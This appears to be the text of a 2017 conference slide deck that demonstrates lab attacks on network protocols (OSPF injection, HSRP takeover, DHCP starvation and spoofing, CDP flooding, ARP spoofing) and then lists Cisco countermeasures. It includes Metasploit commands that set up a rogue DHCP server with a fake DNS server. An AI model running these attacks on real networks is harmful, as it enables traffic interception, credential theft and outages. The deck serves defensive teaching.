KHNOG Micro-Event 22 February 2017 Mr. Porhai Eung; Network Engineer at Banking Industry & Mr. Yutthavuth Kak; Network Instructor at NIPTICT

1. Common Network Attacks
and
Countermeasures

2. Content
• OSPF Neighbor/Route Injection
• HSRP Active Router Manipulation
• DHCP Starvation and Spoofing
• CDP Neighbor Overflow
• IP ARP Spoofing
• Countermeasures

3. OSPF Neighbor/Route Injection
Scenario:
- Attacker and two OSPF-enabled
routers are in the same network.
- Attacker acts as OSPF router
- Attacker sends OSPF packets to
manipulate routers’ neighbor tables
and routing tables

4. OSPF Neighbor/Route Injection
Original neighbor tables on both routers
R1#show ip ospf neighbor
Neighbor ID Pri State Dead Time Address Interface
192.168.0.2 1 FULL/DR 00:00:35 192.168.0.2 FastEthernet1/0
R2#show ip ospf neighbor
Neighbor ID Pri State Dead Time Address Interface
192.168.0.1 1 FULL/BDR 00:00:30 192.168.0.1 FastEthernet2/0

5. OSPF Neighbor/Route Injection
Original routing tables on both routers
R1#show ip route
Gateway of last resort is not set
C 192.168.0.0/24 is directly connected, FastEthernet1/0
R2#show ip route
Gateway of last resort is not set
C 192.168.0.0/24 is directly connected, FastEthernet2/0

6. OSPF Neighbor/Route Injection
LOKI: a python based infrastructure pentesting
tool focusing on layer 3 protocols.

7. OSPF Neighbor/Route Injection
Sending OSPF Packets from Attacker using Loki

8. OSPF Neighbor/Route Injection
Sending OSPF Packets from Attacker using Loki

9. OSPF Neighbor/Route Injection
Sending OSPF Packets from Attacker using Loki

10. OSPF Neighbor/Route Injection
Sending OSPF Packets from Attacker using Loki

11. OSPF Neighbor/Route Injection
Another neighbor comes up in R1 an R2
R1#
*Feb 20 08:27:58.479: %OSPF-5-ADJCHG: Process 100, Nbr 192.168.0.11 on
FastEthernet1/0 from LOADING to FULL, Loading Done
R1#show ip ospf neighbor
Neighbor ID Pri State Dead Time Address Interface
192.168.0.2 1 FULL/DR 00:00:39 192.168.0.2 FastEthernet1/0
192.168.0.11 1 FULL/DROTHER 00:00:37 192.168.0.11 FastEthernet1/0

12. OSPF Neighbor/Route Injection
Another neighbor comes up in R1 an R2
R2#
*Feb 20 08:27:58.639: %OSPF-5-ADJCHG: Process 100, Nbr 192.168.0.11 on
FastEthernet2/0 from LOADING to FULL, Loading Done
R2#
R2#
R2#show ip ospf neighbor
Neighbor ID Pri State Dead Time Address Interface
192.168.0.1 1 FULL/BDR 00:00:34 192.168.0.1 FastEthernet2/0
192.168.0.11 1 FULL/DROTHER 00:00:39 192.168.0.11 FastEthernet2/0
R2#

13. OSPF Neighbor/Route Injection
Inject network 10.0.0.0/24 to OSPF routing table

14. OSPF Neighbor/Route Injection
Network 10.0.0.0/24 appears in routing tables of both routers
R1#show ip route
Gateway of last resort is not set
10.0.0.0/24 is subnetted, 1 subnets
O 10.0.0.0 [110/2] via 192.168.0.11, 00:00:59, FastEthernet1/0
C 192.168.0.0/24 is directly connected, FastEthernet1/0
R2#show ip route
Gateway of last resort is not set
10.0.0.0/24 is subnetted, 1 subnets
O 10.0.0.0 [110/2] via 192.168.0.11, 00:00:54, FastEthernet2/0
C 192.168.0.0/24 is directly connected, FastEthernet2/0

15. HSRP Active Router Manipulation
Scenario:
- Two routers are enabled HSRP.
- Attacker sends necessary packets to
escalate himself as Active Router
- Attacker now serves as virtual
gateway.
- All traffics from User are sent via
Attacker

16. HSRP Active Router Manipulation
Overview
• Hot Standby Router Protocol (HSRP) provides default gateway
redundancy using one active and one standby router.
• The priority value can be from 0 to 255. The default value is
100.
• During the Active Router election process, the router with
the highest priority in an HSRP group becomes the active
router. If a tie occurs, the router with the highest configured
IP address becomes active

17. HSRP Active Router Manipulation
Normal Operation: R2 is active router and R1 is
standby router
R1#show standby
FastEthernet1/0 - Group 1
State is Standby
1 state change, last state change 00:00:38
Virtual IP address is 192.168.0.254
Active virtual MAC address is 0000.0c07.ac01
Local virtual MAC address is 0000.0c07.ac01 (v1 default)
Hello time 3 sec, hold time 10 sec
Next hello sent in 2.704 secs
Preemption enabled
Active router is 192.168.0.2, priority 100 (expires in
10.400 sec)
Standby router is local
Priority 100 (default 100)
Group name is "hsrp-Fa1/0-1" (default)

18. HSRP Active Router Manipulation
Use Loki to manipulate HSRP Active Router

19. HSRP Active Router Manipulation
When Attack Occurred: R2 changed itself to standby router
R2#
*Feb 20 12:32:13.443: %HSRP-5-STATECHANGE: FastEthernet2/0
Grp 1 state Active -> Speak
R2#
*Feb 20 12:32:24.447: %HSRP-5-STATECHANGE: FastEthernet2/0
Grp 1 state Speak -> Standby
R2#

20. HSRP Active Router Manipulation
When Attack Occurred: Attackers became Active Router with
priority 255
R2#show standby
FastEthernet2/0 - Group 1
State is Standby
4 state changes, last state change 00:00:23
Virtual IP address is 192.168.0.254
Active virtual MAC address is 0050.56c0.0002
Local virtual MAC address is 0000.0c07.ac01 (v1 default)
Hello time 3 sec, hold time 10 sec
Next hello sent in 1.056 secs
Preemption enabled
Active router is 192.168.0.11, priority 255 (expires in 10.496 sec)
Standby router is local
Priority 100 (default 100)
Group name is "hsrp-Fa2/0-1" (default)

21. DHCP Starvation and Poisoning
Scenario:
• R1 is authorized DHCP server
• Users gets IPs from R1
• Attacker takes down the DHCP Server
• Attacker claims himself as DHCP Server
• Users gets fake IPs provided by
Attacker included DNS and default
gateway
• Attacker now can serve fake DNS
service or sniff users’ traffic

22. DHCP Starvation: Taking down the real DHCP Server
by generating many many DHCP
DHCP Starvation and Poisoning

23. DHCP Starvation: DHCP pool is now full with fake clients
DHCP Starvation and Poisoning

24. DHCP Starvation: DHCP server is unable to serve IPs
more to next users’ request
R1#show ip dhcp pool
Pool DHCP :
Utilization mark (high/low) : 100 / 0
Subnet size (first/next) : 0 / 0
Total addresses : 254
Leased addresses : 253
Pending event : none
1 subnet is currently in the pool :
Current index IP address range Leased addresses
0.0.0.0 192.168.0.1 - 192.168.0.254 253
R1#
R1#
DHCP Starvation and Poisoning

25. DHCP SPoofing: Attacker runs DHCP server with
fake DNS IP or Gateway
msf > use auxiliary/server/dhcp
msf auxiliary(dhcp) > set router 192.168.0.1
router => 192.168.0.1
msf auxiliary(dhcp) > set netmask 255.255.255.0
netmask => 255.255.255.0
msf auxiliary(dhcp) > set dnsserver 172.16.0.1
dnsserver => 172.16.0.1
msf auxiliary(dhcp) > set srvhost 192.168.0.11
srvhost => 192.168.0.11
msf auxiliary(dhcp) > run
[*] Auxiliary module execution completed
[*] Starting DHCP server...
msf auxiliary(dhcp) >
DHCP Starvation and Poisoning

26. DHCP Spoofing: New user now get IP from fake DHCP server
Ethernet adapter VMware Network Adapter VMnet2:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : VMware Virtual Ethernet Adapter for VMne
IPv4 Address. . . . . . . . . . . : 192.168.0.33(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Lease Obtained. . . . . . . . . . : Monday, February 20, 2017 11:23:39 PM
Lease Expires . . . . . . . . . . : Monday, February 20, 2017 11:33:39 PM
Default Gateway . . . . . . . . . : 192.168.0.1
DHCP Server . . . . . . . . . . . : 192.168.0.11
DNS Servers . . . . . . . . . . . : 172.16.0.1
DHCP Starvation and Poisoning

27. CDP Neighbor Overflow
Scenario:
• Attacker tries to flood CDP
packets into network
• CDP tables in routers are full with
fake devices

28. Flooding CDP packet: Using Yersinia to generate packets
CDP Neighbor Overflow

29. Flooding CDP packet: Wireshark captures at port face to
attacker
CDP Neighbor Overflow

30. Flooding CDP packet: CDP tables at Routers
CDP Neighbor Overflow

31. Flooding CDP packet: Processing packets eats up the
router’s CPU
R2#show processes cpu sorted
CPU utilization for five seconds: 97%/100%; one minute: 74%; five minutes: 25%
PID Runtime(ms) Invoked uSecs 5Sec 1Min 5Min TTY Process
76 134032 3895 34411 70.66% 42.54% 14.98% 0 CDP Protocol
91 19584 560 34971 5.19% 18.81% 5.12% 0 Exec
5 5112 359 14239 2.87% 1.10% 0.41% 0 Check heaps
CDP Neighbor Overflow

32. ARP Spoofing
Scenario:
• R1 is gateway to route traffic from
User
• User sends ARP request for MAC
of R1.
• Attacker replies to ARP requests
and provides his own MAC
address to User
• All data User is sent to Attacker
and then is forwarded to R1

33. ARP Spoofing
Before Spoofing Attack:
• User sends ARP request to the Network asking for MAC
Address of Gateway 192.168.0.1.
• Router replies to the Request with its MAC Address which
is ca01.06e5.001c.

34. ARP Spoofing
Before Spoofing Attack: Address Info. at R1
MAC Address of R1
R1#show int f1/0 | i address
Hardware is DEC21140, address is ca01.06e5.001c (bia ca01.06e5.001c)
Internet address is 192.168.0.1/24
R1#
ARP cache in R1
R1#show ip arp 192.168.0.3
Protocol Address Age (min) Hardware Addr Type Interface
Internet 192.168.0.3 0 ca05.0790.0000 ARPA FastEthernet1/0
R1#

35. ARP Spoofing
Before Spoofing Attack: Address Info. at User
MAC Address of User
User#show int f0/0 | i address
Hardware is DEC21140, address is ca05.0790.0000 (bia ca05.0790.0000)
Internet address is 192.168.0.3/24
User#
ARP cache in User
User#show ip arp 192.168.0.1
Protocol Address Age (min) Hardware Addr Type Interface
Internet 192.168.0.1 0 ca01.06e5.001c ARPA FastEthernet0/0
User#
User#

36. ARP Spoofing
Start Spoofing Attack:
MAC Address of Attacker
eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state
UP group default qlen 1000
link/ether 00:0c:29:0a:b4:51 brd ff:ff:ff:ff:ff:ff
inet 192.168.0.11/24 brd 192.168.0.255 scope global eth0

37. ARP Spoofing
Start Spoofing Attack: Use Ettercap to do ARP spoofing
Scanning Hosts

38. ARP Spoofing
Start Spoofing Attack: Use Ettercap to do ARP spoofing
Start spoofing

39. ARP Spoofing
Start Spoofing Attack:
Sniffing at interface of User machine with wireshark

40. ARP Spoofing
After Spoofing Attack:
Show ip arp and found MAC Addresses have been spoofed
User#show ip arp 192.168.0.1
Protocol Address Age (min) Hardware Addr Type Interface
Internet 192.168.0.1 0 000c.290a.b451 ARPA FastEthernet0/0
R1#show ip arp 192.168.0.3
Protocol Address Age (min) Hardware Addr Type Interface
Internet 192.168.0.3 0 000c.290a.b451 ARPA FastEthernet1/0
R1#

41. ARP Spoofing
After Spoofing Attack:
Try to telnet from User to R1
User#telnet 192.168.0.1
Trying 192.168.0.1 ... Open
User Access Verification
Username: porhai
Password:
R1>
R1>
R1>

42. ARP Spoofing
After Spoofing Attack: Wireshark captured at Attacker
machine

43. ARP Spoofing
After Spoofing Attack: Follow TCP Stream

44. Exploitation Tools
• Loki
• Multiprotocol Label Switching (MPLS)
• Routing Protocol
• First Hop Redundancy Protocol
• Cisco Wireless LAN Context Control Protocol (WLCCP)
• Internet Control Message Protocol version 6 (ICMP6)
• TCP-MD5
• Address Resolution Protocol (ARP)
• DOT1Q

45. Exploitation Tools
• Yersinia
• Spanning Tree Protocol (STP)
• Cisco Discovery Protocol (CDP)
• Dynamic Trunking Protocol (DTP)
• Dynamic Host Configuration Protocol (DHCP)
• IEEE 802.1Q
• IEEE 802.1X
• Inter-Switch Link Protocol (ISL)
• VLAN Trunking Protocol (VTP)
• Hot Standby Router Protocol (HSRP)

46. Exploitation Tools
• Ettercap
• Putting the network interface into promiscuous mode
• ARP spoofing
• ARP poisoning
• Password collectors
• Packet filtering/modifying/dropping
• OS fingerprinting
• Network scanning

47. Countermeasures
• Open Shortest Path First (OSPF)
• Setup message digest key for OSPF authentication
• Per interface: ip ospf message-digest-key key_id md5
complex_password
• Enable OSPF message digest authentication
• Global: area area_id authentication message-digest
• Per interface: ip ospf authentication message-digest
• Configure passive interface
• OSPF sub-command: passive-interface default
• OSPF sub-command: passive-interface interface_type
interface_id

48. Countermeasures
• Enhanced Interior Gateway Routing Protocol (EIGRP)
• Setup message digest key for EIGRP authentication
• Per interface: key chain key_chain_name
• Key chain sub-command: key key_id
• Key chain key sub-command: key-string complex_password
• Enable EIGRP message digest authentication
• Per interface: ip authentication key-chain eigrp AS_number
key_chain_name
• Per interface: ip authentication mode eigrp AS_number md5
• Configure passive interface
• OSPF sub-command: passive-interface default
• OSPF sub-command: passive-interface interface_type interface_id

49. Countermeasures
• Hot Standby Router Protocol (HSRP)
• Enable HSRP message digest with key-string
• Per interface: standby group_id authentication md5 key-string
complex_password
• Setup message digest with key-chain for HSRP
authentication
• Per interface: key chain key_chain_name
• Key chain sub-command: key key_id
• Key chain key sub-command: key-string complex_password

50. Countermeasures
• Enable HSRP message digest with key-chain
• Per interface: standby group_id authentication md5 key-chain
key_chain_name
• Set HSRP priority to highest (255)
• Per interface: standby group_id priority priority_number
• Set HSRP interface IP to highest
• Per interface: ip address ip_address subnet_mask

51. Countermeasures
• Virtual Router Redundancy Protocol (VRRP)
• Enable VRRP message digest with key-string
• Per interface: vrrp group_id authentication md5 key-string
complex_password
• Setup message digest with key-chain for VRRP
authentication
• Per interface: key chain key_chain_name
• Key chain sub-command: key key_id
• Key chain key sub-command: key-string complex_password

52. Countermeasures
• Enable VRRP message digest with key-chain
• Per interface: vrrp group_id authentication md5 key-chain
key_chain_name
• Set VRRP priority to highest (254)
• Per interface: vrrp group_id priority priority_number
• Set HSRP interface IP to highest
• Per interface: ip address ip_address subnet_mask
• Setup VRRP explicitly active router
• Per interface: vrrp group_id ip ip_of_physical_interface
• Per interface: vrrp group_id ipv6 ip_of_physical_interface

53. Countermeasures
• Cisco Discovery Protocol (CDP)
• Show Cisco Discovery Protocol status
• show cpd interface
• Disable Cisco Discovery Protocol
• Global: no cdp run
• Per interface: no cdp enable

54. Countermeasures
• Dynamic Host Configuration Protocol (DHCP)
• Show DHCP Snooping status
• show ip dhcp snooping
• Setup DHCP Snooping trusted interface
• Per interface: ip dhcp snooping trust
• Enable DHCP Snooping
• Global: ip dhcp snooping
• Per interface: ip dhcp snooping vlan vlan_id

55. Countermeasures
• Show Port-Security status
• show port-security interface interface_type interface_id
• Enable Port-Security
• Per interface: switchport mode port-security
• Limit the number of MAC address learn on interface
• Per interface: switchport port-security maximum
number_of_mac_address
• Set Port-Security violation mode
• Per interface: switchport port-security violation violation_mode

56. Countermeasures
• Address Resolution Protocol (ARP)
• Enable Dynamic ARP Inspection
• Global: ip arp inspection vlan vlan_id
• Enable DHCP Snooping
• Global: ip dhcp snooping
• Per interface: ip dhcp snooping vlan vlan_id
• Enable IP Source Guard with DHCP Snooping
• Per interface: ip verify source vlan dhcp-snooping
• Binding MAC address and static IP address for IP Source
Guard
• Global: ip source binding mac_address vlan vlan_id ip_address
interface interface_name

57. Q&A

58. Thank You! ^^